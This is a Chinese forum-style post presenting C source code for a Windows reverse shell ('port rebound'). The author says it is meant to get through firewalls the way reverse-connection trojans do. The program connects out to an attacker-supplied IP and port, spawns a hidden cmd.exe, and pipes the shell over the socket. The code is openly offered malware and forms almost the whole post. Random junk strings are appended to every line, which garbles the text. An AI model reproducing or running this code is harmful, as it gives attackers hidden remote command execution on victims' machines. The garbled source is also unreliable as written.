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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0=Z_5.T>  
- +=+W  
/* ============================== I^fKZ^]8P  
Rebound port in Windows NT QBfsdu<@^  
By wind,2006/7 'Ijjk`d&c  
===============================*/ !&OybjQ  
#include )6:nJ"j#  
#include y%x2  
q!+m, !M  
#pragma comment(lib,"wsock32.lib") ?-IjaDC}  
}J&[Uc  
void OutputShell(); 7'9~Kx&+  
SOCKET sClient; C@i4[g){  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nWAx!0G  
i0-zGEMB.  
void main(int argc,char **argv) -h<Rby  
{ J_^Ml)@iy  
WSADATA stWsaData; LE:nmo  
int nRet; >O:j.(*!  
SOCKADDR_IN stSaiClient,stSaiServer; @4N@cM0   
@< @\CiM  
if(argc != 3) P}+-))J  
{ *@2?_b}A ^  
printf("Useage:\n\rRebound DestIP DestPort\n"); m# ]VdO'f  
return; `:XrpD  
} sA u ;i  
Vg)]F+E  
WSAStartup(MAKEWORD(2,2),&stWsaData); RRGCO+)*  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LL1HDG >l  
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stSaiClient.sin_family = AF_INET; g&30@D"  
stSaiClient.sin_port = htons(0); mw1|>*X&R  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kU5chltGF  
 v NJ!d  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) yF}l.>7D  
{ hC[MYAaF  
printf("Bind Socket Failed!\n"); aa1^cw 5}  
return; 420cJ{;A  
} W/m,qilQI  
x\m !3  
stSaiServer.sin_family = AF_INET; ytXXZ`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); l`s_ #3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8N|y   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +8 avA:o  
{ (bk~,n_  
printf("Connect Error!"); TrHz(no  
return; H *gF>1  
} G#&R/Tc5N  
OutputShell(); G:e 9}  
} %hzl3>().  
x7=5 ;gf/X  
void OutputShell() rQ^$)%uP  
{ Ub8|x]ix  
char szBuff[1024]; DV(^h$1_  
SECURITY_ATTRIBUTES stSecurityAttributes; sILkTzs w  
OSVERSIONINFO stOsversionInfo; tU02t#8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !dVth)UV  
STARTUPINFO stStartupInfo; 9I:H=5c  
char *szShell; {U&*8Q(/  
PROCESS_INFORMATION stProcessInformation; ?th`5K30  
unsigned long lBytesRead; ugtb`d{ Sl  
)/u?_)b4"  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OYEL`!Q  
VQ/<MY C  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |.x |BJ  
stSecurityAttributes.lpSecurityDescriptor = 0; ;=IGl:  
stSecurityAttributes.bInheritHandle = TRUE; ]:m}nJ_  
:66xrw  
_ FcfNF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {"dU?/d  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); E.$1CGd+  
,nJYYM   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !biq7f%6#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <j93   
stStartupInfo.wShowWindow = SW_HIDE; uX-]z3+  
stStartupInfo.hStdInput = hReadPipe; U[1Ir92:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; oW*e6"<R7  
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GetVersionEx(&stOsversionInfo); w1-/U+0o  
-,t2D/xK  
switch(stOsversionInfo.dwPlatformId) Q Fv"!Ql  
{ oGi;S="I  
case 1: 8m0GxgS  
szShell = "command.com"; F)mlCGv:R  
break; 15i8) 4h  
default: D=U"L-rRs  
szShell = "cmd.exe"; ;Zb+WGyj  
break; }4PIpDL  
} p.9VyM  
-v*wT*I1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rAK}rNxI  
0Bx.jx0?  
send(sClient,szMsg,77,0); )]"aa_20]  
while(1) , 4Vr,?"EO  
{ 6vrMR& #a  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d7+YCi?  
if(lBytesRead)  }xcEWC\  
{ Fh u(u  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); w{J0K; L  
send(sClient,szBuff,lBytesRead,0); ^PY*INv  
} #WD} XOA  
else fHek!Jv.  
{ uUXvBA?l  
lBytesRead=recv(sClient,szBuff,1024,0); 6mr5`5~w  
if(lBytesRead<=0) break; d^"<Tz!  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2<jbNnj  
} KXEDpr  
} I4kN4*d!N,  
tH0=ysf  
return; (^-i[aJY  
}
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